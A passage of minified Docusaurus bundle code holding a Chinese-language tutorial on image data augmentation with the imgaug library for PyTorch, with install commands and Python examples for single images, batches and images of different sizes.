a=i.p+"assets/images/different_size-f7f9fbcd2a20b22d2aa6f13b010b1b00.png"},78966:(e,n,i)=>{i.r(n),i.d(n,{assets:()=>l,contentTitle:()=>g,default:()=>o,frontMatter:()=>r,metadata:()=>a,toc:()=>d});const a=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.5 \u6570\u636e\u589e\u5f3a-imgaug","title":"6.5 \u6570\u636e\u589e\u5f3a-imgaug.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/06.\u7b2c\u516d\u7ae0/6.5 \u6570\u636e\u589e\u5f3a-imgaug.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/06.\u7b2c\u516d\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.5 \u6570\u636e\u589e\u5f3a-imgaug","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.5 \u6570\u636e\u589e\u5f3a-imgaug","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/06.\u7b2c\u516d\u7ae0/6.5 \u6570\u636e\u589e\u5f3a-imgaug.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"6.4 \u534a\u7cbe\u5ea6\u8bad\u7ec3.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.4 \u534a\u7cbe\u5ea6\u8bad\u7ec3"},"next":{"title":"6.6 \u4f7f\u7528argparse\u8fdb\u884c\u8c03\u53c2.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.6 \u4f7f\u7528argparse\u8fdb\u884c\u8c03\u53c2"}}');var s=i(74848),t=i(28453);const r={},g="6.5 \u6570\u636e\u589e\u5f3a-imgaug.md",l={},d=[{value:"6.5.1 imgaug\u7b80\u4ecb\u548c\u5b89\u88c5",id:"651-imgaug\u7b80\u4ecb\u548c\u5b89\u88c5",level:2},{value:"6.5.1.1 imgaug\u7b80\u4ecb",id:"6511-imgaug\u7b80\u4ecb",level:3},{value:"6.5.1.2 imgaug\u7684\u5b89\u88c5",id:"6512-imgaug\u7684\u5b89\u88c5",level:3},{value:"conda",id:"conda",level:4},{value:"pip",id:"pip",level:4},{value:"6.5.2 imgaug\u7684\u4f7f\u7528",id:"652-imgaug\u7684\u4f7f\u7528",level:2},{value:"\u5355\u5f20\u56fe\u7247\u5904\u7406",id:"\u5355\u5f20\u56fe\u7247\u5904\u7406",level:3},{value:"\u5bf9\u6279\u6b21\u56fe\u7247\u8fdb\u884c\u5904\u7406",id:"\u5bf9\u6279\u6b21\u56fe\u7247\u8fdb\u884c\u5904\u7406",level:3},{value:"\u5bf9\u6279\u6b21\u7684\u56fe\u7247\u4ee5\u540c\u4e00\u79cd\u65b9\u5f0f\u5904\u7406",id:"\u5bf9\u6279\u6b21\u7684\u56fe\u7247\u4ee5\u540c\u4e00\u79cd\u65b9\u5f0f\u5904\u7406",level:4},{value:"\u5bf9\u6279\u6b21\u7684\u56fe\u7247\u5206\u90e8\u5206\u5904\u7406",id:"\u5bf9\u6279\u6b21\u7684\u56fe\u7247\u5206\u90e8\u5206\u5904\u7406",level:4},{value:"\u5bf9\u4e0d\u540c\u5927\u5c0f\u7684\u56fe\u7247\u8fdb\u884c\u5904\u7406",id:"\u5bf9\u4e0d\u540c\u5927\u5c0f\u7684\u56fe\u7247\u8fdb\u884c\u5904\u7406",level:3},{value:"6.5.3 imgaug\u5728PyTorch\u7684\u5e94\u7528",id:"653-imgaug\u5728pytorch\u7684\u5e94\u7528",level:2},{value:"6.5.4 \u603b\u7ed3",id:"654-\u603b\u7ed3",level:2},{value:"\u53c2\u8003\u8d44\u6599",id:"\u53c2\u8003\u8d44\u6599",level:2}];function m(e){const n={a:"a",code:"code",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,t.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(n.header,{children:(0,s.jsx)(n.h1,{id:"65-\u6570\u636e\u589e\u5f3a-imgaugmd",children:"6.5 \u6570\u636e\u589e\u5f3a-imgaug.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(n.tbody,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:21"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(n.tbody,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,s.jsx)(n.h1,{id:"65-\u6570\u636e\u589e\u5f3a-imgaug",children:"6.5 \u6570\u636e\u589e\u5f3a-imgaug"}),"\n",(0,s.jsxs)(n.p,{children:["\u5728\u673a\u5668\u5b66\u4e60/\u6df1\u5ea6\u5b66\u4e60\u4e2d\uff0c\u6211\u4eec\u7ecf\u5e38\u4f1a\u9047\u5230\u6a21\u578b\u8fc7\u62df\u5408\u7684\u95ee\u9898\uff0c\u4e3a\u4e86\u89e3\u51b3\u8fc7\u62df\u5408\u95ee\u9898\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u52a0\u5165\u6b63\u5219\u9879\u6216\u8005\u51cf\u5c11\u6a21\u578b\u5b66\u4e60\u53c2\u6570\u6765\u89e3\u51b3\uff0c\u4f46\u662f\u6700\u7b80\u5355\u7684\u907f\u514d\u8fc7\u62df\u5408\u7684\u65b9\u6cd5\u662f\u589e\u52a0\u6570\u636e\uff0c\u4f46\u662f\u5728\u8bb8\u591a\u573a\u666f\u6211\u4eec\u65e0\u6cd5\u83b7\u5f97\u5927\u91cf\u6570\u636e\uff0c\u4f8b\u5982\u533b\u5b66\u56fe\u50cf\u5206\u6790\u3002\u6570\u636e\u589e\u5f3a\u6280\u672f\u7684\u5b58\u5728\u662f\u4e3a\u4e86\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\uff0c\u8fd9\u662f\u9488\u5bf9\u6709\u9650\u6570\u636e\u95ee\u9898\u7684\u89e3\u51b3\u65b9\u6848\u3002\u6570\u636e\u589e\u5f3a\u4e00\u5957\u6280\u672f\uff0c\u53ef\u63d0\u9ad8\u8bad\u7ec3\u6570\u636e\u96c6\u7684\u5927\u5c0f\u548c\u8d28\u91cf\uff0c\u4ee5\u4fbf\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u5b83\u4eec\u6765\u6784\u5efa\u66f4\u597d\u7684\u6df1\u5ea6\u5b66\u4e60\u6a21\u578b\u3002\n\u5728\u8ba1\u7b97\u89c6\u89c9\u9886\u57df\uff0c\u751f\u6210\u589e\u5f3a\u56fe\u50cf\u76f8\u5bf9\u5bb9\u6613\u3002\u5373\u4f7f\u5f15\u5165\u566a\u58f0\u6216\u88c1\u526a\u56fe\u50cf\u7684\u4e00\u90e8\u5206\uff0c\u6a21\u578b\u4ecd\u53ef\u4ee5\u5bf9\u56fe\u50cf\u8fdb\u884c\u5206\u7c7b\uff0c\u6570\u636e\u589e\u5f3a\u6709\u4e00\u7cfb\u5217\u7b80\u5355\u6709\u6548\u7684\u65b9\u6cd5\u53ef\u4f9b\u9009\u62e9\uff0c\u6709\u4e00\u4e9b\u673a\u5668\u5b66\u4e60\u5e93\u6765\u8fdb\u884c\u8ba1\u7b97\u89c6\u89c9\u9886\u57df\u7684\u6570\u636e\u589e\u5f3a\uff0c\u6bd4\u5982\uff1aimgaug ",(0,s.jsx)(n.a,{href:"https://github.com/aleju/imgaug",children:"\u5b98\u7f51"}),"\u5b83\u5c01\u88c5\u4e86\u5f88\u591a\u6570\u636e\u589e\u5f3a\u7b97\u6cd5\uff0c\u7ed9\u5f00\u53d1\u8005\u63d0\u4f9b\u4e86\u65b9\u4fbf\u3002\u901a\u8fc7\u672c\u7ae0\u5185\u5bb9\uff0c\u60a8\u5c06\u5b66\u4f1a\u4ee5\u4e0b\u5185\u5bb9\uff1a"]}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:"imgaug\u7684\u7b80\u4ecb\u548c\u5b89\u88c5"}),"\n",(0,s.jsx)(n.li,{children:"\u4f7f\u7528imgaug\u5bf9\u6570\u636e\u8fdb\u884c\u589e\u5f3a"}),"\n"]}),"\n",(0,s.jsx)(n.h2,{id:"651-imgaug\u7b80\u4ecb\u548c\u5b89\u88c5",children:"6.5.1 imgaug\u7b80\u4ecb\u548c\u5b89\u88c5"}),"\n",(0,s.jsx)(n.h3,{id:"6511-imgaug\u7b80\u4ecb",children:"6.5.1.1 imgaug\u7b80\u4ecb"}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.code,{children:"imgaug"}),"\u662f\u8ba1\u7b97\u673a\u89c6\u89c9\u4efb\u52a1\u4e2d\u5e38\u7528\u7684\u4e00\u4e2a\u6570\u636e\u589e\u5f3a\u7684\u5305\uff0c\u76f8\u6bd4\u4e8e",(0,s.jsx)(n.code,{children:"torchvision.transforms"}),"\uff0c\u5b83\u63d0\u4f9b\u4e86\u66f4\u591a\u7684\u6570\u636e\u589e\u5f3a\u65b9\u6cd5\uff0c\u56e0\u6b64\u5728\u5404\u79cd\u7ade\u8d5b\u4e2d\uff0c\u4eba\u4eec\u5e7f\u6cdb\u4f7f\u7528",(0,s.jsx)(n.code,{children:"imgaug"}),"\u6765\u5bf9\u6570\u636e\u8fdb\u884c\u589e\u5f3a\u64cd\u4f5c\u3002\u9664\u6b64\u4e4b\u5916\uff0cimgaug\u5b98\u65b9\u8fd8\u63d0\u4f9b\u4e86\u8bb8\u591a\u4f8b\u7a0b\u8ba9\u6211\u4eec\u5b66\u4e60\uff0c\u672c\u7ae0\u5185\u5bb9\u4ec5\u662f\u7b80\u4ecb\uff0c\u5e0c\u671b\u8d77\u5230\u629b\u7816\u5f15\u7389\u7684\u529f\u80fd\u3002"]}),"\n",(0,s.jsxs)(n.ol,{children:["\n",(0,s.jsxs)(n.li,{children:["Github\u5730\u5740\uff1a",(0,s.jsx)(n.a,{href:"https://github.com/aleju/imgaug",children:"imgaug"})]}),"\n",(0,s.jsxs)(n.li,{children:["Readthedocs\uff1a",(0,s.jsx)(n.a,{href:"https://imgaug.readthedocs.io/en/latest/source/examples_basics.html",children:"imgaug"})]}),"\n",(0,s.jsxs)(n.li,{children:["\u5b98\u65b9\u63d0\u4f9bnotebook\u4f8b\u7a0b\uff1a",(0,s.jsx)(n.a,{href:"https://github.com/aleju/imgaug-doc/tree/master/notebooks",children:"notebook"})]}),"\n"]}),"\n",(0,s.jsx)(n.h3,{id:"6512-imgaug\u7684\u5b89\u88c5",children:"6.5.1.2 imgaug\u7684\u5b89\u88c5"}),"\n",(0,s.jsx)(n.p,{children:"imgaug\u7684\u5b89\u88c5\u65b9\u6cd5\u548c\u5176\u4ed6\u7684Python\u5305\u7c7b\u4f3c\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u4ee5\u4e0b\u4e24\u79cd\u65b9\u5f0f\u8fdb\u884c\u5b89\u88c5"}),"\n",(0,s.jsx)(n.h4,{id:"conda",children:"conda"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-shell",children:"conda config --add channels conda-forge\nconda install imgaug\n"})}),"\n",(0,s.jsx)(n.h4,{id:"pip",children:"pip"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-shell",children:"# install imgaug either via pypi\n\npip install imgaug\n\n# install the latest version directly from github\n\npip install git+https://github.com/aleju/imgaug.git\n"})}),"\n",(0,s.jsx)(n.h2,{id:"652-imgaug\u7684\u4f7f\u7528",children:"6.5.2 imgaug\u7684\u4f7f\u7528"}),"\n",(0,s.jsx)(n.p,{children:"imgaug\u4ec5\u4ec5\u63d0\u4f9b\u4e86\u56fe\u50cf\u589e\u5f3a\u7684\u4e00\u4e9b\u65b9\u6cd5\uff0c\u4f46\u662f\u5e76\u672a\u63d0\u4f9b\u56fe\u50cf\u7684IO\u64cd\u4f5c\uff0c\u56e0\u6b64\u6211\u4eec\u9700\u8981\u4f7f\u7528\u4e00\u4e9b\u5e93\u6765\u5bf9\u56fe\u50cf\u8fdb\u884c\u5bfc\u5165\uff0c\u5efa\u8bae\u4f7f\u7528imageio\u8fdb\u884c\u8bfb\u5165\uff0c\u5982\u679c\u4f7f\u7528\u7684\u662fopencv\u8fdb\u884c\u6587\u4ef6\u8bfb\u53d6\u7684\u65f6\u5019\uff0c\u9700\u8981\u8fdb\u884c\u624b\u52a8\u6539\u53d8\u901a\u9053\uff0c\u5c06\u8bfb\u53d6\u7684BGR\u56fe\u50cf\u8f6c\u6362\u4e3aRGB\u56fe\u50cf\u3002\u9664\u6b64\u4ee5\u5916\uff0c\u5f53\u6211\u4eec\u7528PIL.Image\u8fdb\u884c\u8bfb\u53d6\u65f6\uff0c\u56e0\u4e3a\u8bfb\u53d6\u7684\u56fe\u7247\u6ca1\u6709shape\u7684\u5c5e\u6027\uff0c\u6240\u4ee5\u6211\u4eec\u9700\u8981\u5c06\u8bfb\u53d6\u5230\u7684img\u8f6c\u6362\u4e3anp.array()\u7684\u5f62\u5f0f\u518d\u8fdb\u884c\u5904\u7406\u3002\u56e0\u6b64\u5b98\u65b9\u7684\u4f8b\u7a0b\u4e2d\u4e5f\u662f\u4f7f\u7528imageio\u8fdb\u884c\u56fe\u7247\u8bfb\u53d6\u3002"}),"\n",(0,s.jsx)(n.h3,{id:"\u5355\u5f20\u56fe\u7247\u5904\u7406",children:"\u5355\u5f20\u56fe\u7247\u5904\u7406"}),"\n",(0,s.jsx)(n.p,{children:"\u5728\u8be5\u5355\u5143\uff0c\u6211\u4eec\u4ec5\u4ee5\u51e0\u79cd\u6570\u636e\u589e\u5f3a\u64cd\u4f5c\u4e3a\u4f8b\uff0c\u4e3b\u8981\u76ee\u7684\u662f\u6559\u4f1a\u5927\u5bb6\u5982\u4f55\u4f7f\u7528imgaug\u6765\u5bf9\u6570\u636e\u8fdb\u884c\u589e\u5f3a\u64cd\u4f5c\u3002"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:'import imageio\nimport imgaug as ia\n%matplotlib inline\n\n# \u56fe\u7247\u7684\u8bfb\u53d6\nimg = imageio.imread("./Lenna.jpg")\n\n# \u4f7f\u7528Image\u8fdb\u884c\u8bfb\u53d6\n# img = Image.open("./Lenna.jpg")\n# image = np.array(img)\n# ia.imshow(image)\n\n# \u53ef\u89c6\u5316\u56fe\u7247\nia.imshow(img)\n'})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:i(45838).A+"",width:"405",height:"353"})}),"\n",(0,s.jsxs)(n.p,{children:["\u73b0\u5728\u6211\u4eec\u5df2\u7ecf\u5f97\u5230\u4e86\u9700\u8981\u5904\u7406\u7684\u56fe\u7247\uff0c",(0,s.jsx)(n.code,{children:"imgaug"}),"\u5305\u542b\u4e86\u8bb8\u591a\u4ece",(0,s.jsx)(n.code,{children:"Augmenter"}),"\u7ee7\u627f\u7684\u6570\u636e\u589e\u5f3a\u7684\u64cd\u4f5c\u3002\u5728\u8fd9\u91cc\u6211\u4eec\u4ee5",(0,s.jsx)(n.code,{children:"Affine"}),"\u4e3a\u4f8b\u5b50\u3002"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"from imgaug import augmenters as iaa\n\n# \u8bbe\u7f6e\u968f\u673a\u6570\u79cd\u5b50\nia.seed(4)\n\n# \u5b9e\u4f8b\u5316\u65b9\u6cd5\nrotate = iaa.Affine(rotate=(-4,45))\nimg_aug = rotate(image=img)\nia.imshow(img_aug)\n"})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:i(90515).A+"",width:"419",height:"368"})}),"\n",(0,s.jsxs)(n.p,{children:["\u8fd9\u662f\u5bf9\u4e00\u5f20\u56fe\u7247\u8fdb\u884c\u4e00\u79cd\u64cd\u4f5c\u65b9\u5f0f\uff0c\u4f46\u5b9e\u9645\u60c5\u51b5\u4e0b\uff0c\u6211\u4eec\u53ef\u80fd\u5bf9\u4e00\u5f20\u56fe\u7247\u505a\u591a\u79cd\u6570\u636e\u589e\u5f3a\u5904\u7406\u3002\u8fd9\u79cd\u60c5\u51b5\u4e0b\uff0c\u6211\u4eec\u5c31\u9700\u8981\u5229\u7528",(0,s.jsx)(n.code,{children:"imgaug.augmenters.Sequential()"}),"\u6765\u6784\u9020\u6211\u4eec\u6570\u636e\u589e\u5f3a\u7684pipline\uff0c\u8be5\u65b9\u6cd5\u4e0e",(0,s.jsx)(n.code,{children:"torchvison.transforms.Compose()"}),"\u76f8\u7c7b\u4f3c\u3002"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"iaa.Sequential(children=None, # Augmenter\u96c6\u5408\n random_order=False, # \u662f\u5426\u5bf9\u6bcf\u4e2abatch\u4f7f\u7528\u4e0d\u540c\u987a\u5e8f\u7684Augmenter list\n name=None,\n deterministic=False,\n random_state=None)\n"})}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"# \u6784\u5efa\u5904\u7406\u5e8f\u5217\naug_seq = iaa.Sequential([\n iaa.Affine(rotate=(-25,25)),\n iaa.AdditiveGaussianNoise(scale=(10,60)),\n iaa.Crop(percent=(0,0.2))\n])\n# \u5bf9\u56fe\u7247\u8fdb\u884c\u5904\u7406\uff0cimage\u4e0d\u53ef\u4ee5\u7701\u7565\uff0c\u4e5f\u4e0d\u80fd\u5199\u6210images\nimage_aug = aug_seq(image=img)\nia.imshow(image_aug)\n"})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:i(79401).A+"",width:"423",height:"363"})}),"\n",(0,s.jsx)(n.p,{children:"\u603b\u7684\u6765\u8bf4\uff0c\u5bf9\u5355\u5f20\u56fe\u7247\u5904\u7406\u7684\u65b9\u5f0f\u57fa\u672c\u76f8\u540c\uff0c\u6211\u4eec\u53ef\u4ee5\u6839\u636e\u5b9e\u9645\u9700\u6c42\uff0c\u9009\u62e9\u5408\u9002\u7684\u6570\u636e\u589e\u5f3a\u65b9\u6cd5\u6765\u5bf9\u6570\u636e\u8fdb\u884c\u5904\u7406\u3002"}),"\n",(0,s.jsx)(n.h3,{id:"\u5bf9\u6279\u6b21\u56fe\u7247\u8fdb\u884c\u5904\u7406",children:"\u5bf9\u6279\u6b21\u56fe\u7247\u8fdb\u884c\u5904\u7406"}),"\n",(0,s.jsx)(n.p,{children:"\u5728\u5b9e\u9645\u4f7f\u7528\u4e2d\uff0c\u6211\u4eec\u901a\u5e38\u9700\u8981\u5904\u7406\u66f4\u591a\u4efd\u7684\u56fe\u50cf\u6570\u636e\u3002\u6b64\u65f6\uff0c\u53ef\u4ee5\u5c06\u56fe\u5f62\u6570\u636e\u6309\u7167NHWC\u7684\u5f62\u5f0f\u6216\u8005\u7531\u5217\u8868\u7ec4\u6210\u7684HWC\u7684\u5f62\u5f0f\u5bf9\u6279\u91cf\u7684\u56fe\u50cf\u8fdb\u884c\u5904\u7406\u3002\u4e3b\u8981\u5206\u4e3a\u4ee5\u4e0b\u4e24\u90e8\u5206\uff0c\u5bf9\u6279\u6b21\u7684\u56fe\u7247\u4ee5\u540c\u4e00\u79cd\u65b9\u5f0f\u5904\u7406\u548c\u5bf9\u6279\u6b21\u7684\u56fe\u7247\u8fdb\u884c\u5206\u90e8\u5206\u5904\u7406\u3002"}),"\n",(0,s.jsx)(n.h4,{id:"\u5bf9\u6279\u6b21\u7684\u56fe\u7247\u4ee5\u540c\u4e00\u79cd\u65b9\u5f0f\u5904\u7406",children:"\u5bf9\u6279\u6b21\u7684\u56fe\u7247\u4ee5\u540c\u4e00\u79cd\u65b9\u5f0f\u5904\u7406"}),"\n",(0,s.jsxs)(n.p,{children:["\u5bf9\u4e00\u6279\u6b21\u7684\u56fe\u7247\u8fdb\u884c\u5904\u7406\u65f6\uff0c\u6211\u4eec\u53ea\u9700\u8981\u5c06\u5f85\u5904\u7406\u7684\u56fe\u7247\u653e\u5728\u4e00\u4e2a",(0,s.jsx)(n.code,{children:"list"}),"\u4e2d\uff0c\u5e76\u5c06\u51fd\u6570\u7684image\u6539\u4e3aimages\u5373\u53ef\u8fdb\u884c\u6570\u636e\u589e\u5f3a\u64cd\u4f5c\uff0c\u5177\u4f53\u5b9e\u9645\u64cd\u4f5c\u5982\u4e0b\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"images = [img,img,img,img,]\nimages_aug = rotate(images=images)\nia.imshow(np.hstack(images_aug))\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u6211\u4eec\u5c31\u53ef\u4ee5\u5f97\u5230\u5982\u4e0b\u7684\u5c55\u793a\u6548\u679c\uff1a"}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.img,{src:i(19682).A+"",width:"968",height:"266"}),"\n\u5728\u4e0a\u8ff0\u7684\u4f8b\u5b50\u4e2d\uff0c\u6211\u4eec\u4ec5\u4ec5\u5bf9\u56fe\u7247\u8fdb\u884c\u4e86\u4eff\u5c04\u53d8\u6362\uff0c\u540c\u6837\u7684\uff0c\u6211\u4eec\u4e5f\u53ef\u4ee5\u5bf9\u6279\u6b21\u7684\u56fe\u7247\u4f7f\u7528\u591a\u79cd\u589e\u5f3a\u65b9\u6cd5\uff0c\u4e0e\u5355\u5f20\u56fe\u7247\u7684\u65b9\u6cd5\u7c7b\u4f3c\uff0c\u6211\u4eec\u540c\u6837\u9700\u8981\u501f\u52a9",(0,s.jsx)(n.code,{children:"Sequential"}),"\u6765\u6784\u9020\u6570\u636e\u589e\u5f3a\u7684pipline\u3002"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"aug_seq = iaa.Sequential([\n iaa.Affine(rotate=(-25, 25)),\n iaa.AdditiveGaussianNoise(scale=(10, 60)),\n iaa.Crop(percent=(0, 0.2))\n])\n\n# \u4f20\u5165\u65f6\u9700\u8981\u6307\u660e\u662fimages\u53c2\u6570\nimages_aug = aug_seq.augment_images(images = images)\n#images_aug = aug_seq(images = images) \nia.imshow(np.hstack(images_aug))\n"})}),"\n",(0,s.jsx)(n.h4,{id:"\u5bf9\u6279\u6b21\u7684\u56fe\u7247\u5206\u90e8\u5206\u5904\u7406",children:"\u5bf9\u6279\u6b21\u7684\u56fe\u7247\u5206\u90e8\u5206\u5904\u7406"}),"\n",(0,s.jsxs)(n.p,{children:["imgaug\u76f8\u8f83\u4e8e\u5176\u4ed6\u7684\u6570\u636e\u589e\u5f3a\u7684\u5e93\uff0c\u6709\u4e00\u4e2a\u5f88\u6709\u610f\u601d\u7684\u7279\u6027\uff0c\u5373\u5c31\u662f\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7",(0,s.jsx)(n.code,{children:"imgaug.augmenters.Sometimes()"}),"\u5bf9batch\u4e2d\u7684\u4e00\u90e8\u5206\u56fe\u7247\u5e94\u7528\u4e00\u90e8\u5206Augmenters,\u5269\u4e0b\u7684\u56fe\u7247\u5e94\u7528\u53e6\u5916\u7684Augmenters\u3002"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"iaa.Sometimes(p=0.5, # \u4ee3\u8868\u5212\u5206\u6bd4\u4f8b\n then_list=None, # Augmenter\u96c6\u5408\u3002p\u6982\u7387\u7684\u56fe\u7247\u8fdb\u884c\u53d8\u6362\u7684Augmenters\u3002\n else_list=None, #1-p\u6982\u7387\u7684\u56fe\u7247\u4f1a\u88ab\u8fdb\u884c\u53d8\u6362\u7684Augmenters\u3002\u6ce8\u610f\u53d8\u6362\u7684\u56fe\u7247\u5e94\u7528\u7684Augmenter\u53ea\u80fd\u662fthen_list\u6216\u8005else_list\u4e2d\u7684\u4e00\u4e2a\u3002\n name=None,\n deterministic=False,\n random_state=None)\n"})}),"\n",(0,s.jsx)(n.h3,{id:"\u5bf9\u4e0d\u540c\u5927\u5c0f\u7684\u56fe\u7247\u8fdb\u884c\u5904\u7406",children:"\u5bf9\u4e0d\u540c\u5927\u5c0f\u7684\u56fe\u7247\u8fdb\u884c\u5904\u7406"}),"\n",(0,s.jsx)(n.p,{children:"\u4e0a\u9762\u63d0\u5230\u7684\u56fe\u7247\u90fd\u662f\u57fa\u4e8e\u76f8\u540c\u7684\u56fe\u50cf\u3002\u4ee5\u4e0b\u7684\u793a\u4f8b\u5177\u6709\u4e0d\u540c\u56fe\u50cf\u5927\u5c0f\u7684\u60c5\u51b5\uff0c\u6211\u4eec\u4ece\u7ef4\u57fa\u767e\u79d1\u52a0\u8f7d\u4e09\u5f20\u56fe\u7247\uff0c\u5c06\u5b83\u4eec\u4f5c\u4e3a\u4e00\u4e2a\u6279\u6b21\u8fdb\u884c\u6269\u5145\uff0c\u7136\u540e\u4e00\u5f20\u4e00\u5f20\u5730\u663e\u793a\u6bcf\u5f20\u56fe\u7247\u3002\u5177\u4f53\u7684\u64cd\u4f5c\u8ddf\u5355\u5f20\u7684\u56fe\u7247\u90fd\u662f\u5341\u5206\u76f8\u4f3c\uff0c\u56e0\u6b64\u4e0d\u505a\u8fc7\u591a\u8d58\u8ff0\u3002"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:'# \u6784\u5efapipline\nseq = iaa.Sequential([\n iaa.CropAndPad(percent=(-0.2, 0.2), pad_mode="edge"), # crop and pad images\n iaa.AddToHueAndSaturation((-60, 60)), # change their color\n iaa.ElasticTransformation(alpha=90, sigma=9), # water-like effect\n iaa.Cutout() # replace one squared area within the image by a constant intensity value\n], random_order=True)\n\n# \u52a0\u8f7d\u4e0d\u540c\u5927\u5c0f\u7684\u56fe\u7247\nimages_different_sizes = [\n imageio.imread("https://upload.wikimedia.org/wikipedia/commons/e/ed/BRACHYLAGUS_IDAHOENSIS.jpg"),\n imageio.imread("https://upload.wikimedia.org/wikipedia/commons/c/c9/Southern_swamp_rabbit_baby.jpg"),\n imageio.imread("https://upload.wikimedia.org/wikipedia/commons/9/9f/Lower_Keys_marsh_rabbit.jpg")\n]\n\n# \u5bf9\u56fe\u7247\u8fdb\u884c\u589e\u5f3a\nimages_aug = seq(images=images_different_sizes)\n\n# \u53ef\u89c6\u5316\u7ed3\u679c\nprint("Image 0 (input shape: %s, output shape: %s)" % (images_different_sizes[0].shape, images_aug[0].shape))\nia.imshow(np.hstack([images_different_sizes[0], images_aug[0]]))\n\nprint("Image 1 (input shape: %s, output shape: %s)" % (images_different_sizes[1].shape, images_aug[1].shape))\nia.imshow(np.hstack([images_different_sizes[1], images_aug[1]]))\n\nprint("Image 2 (input shape: %s, output shape: %s)" % (images_different_sizes[2].shape, images_aug[2].shape))\nia.imshow(np.hstack([images_different_sizes[2], images_aug[2]]))\n'})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{alt:"different_size.png",src:i(47803).A+"",width:"967",height:"1087"})}),"\n",(0,s.jsx)(n.h2,{id:"653-imgaug\u5728pytorch\u7684\u5e94\u7528",children:"6.5.3 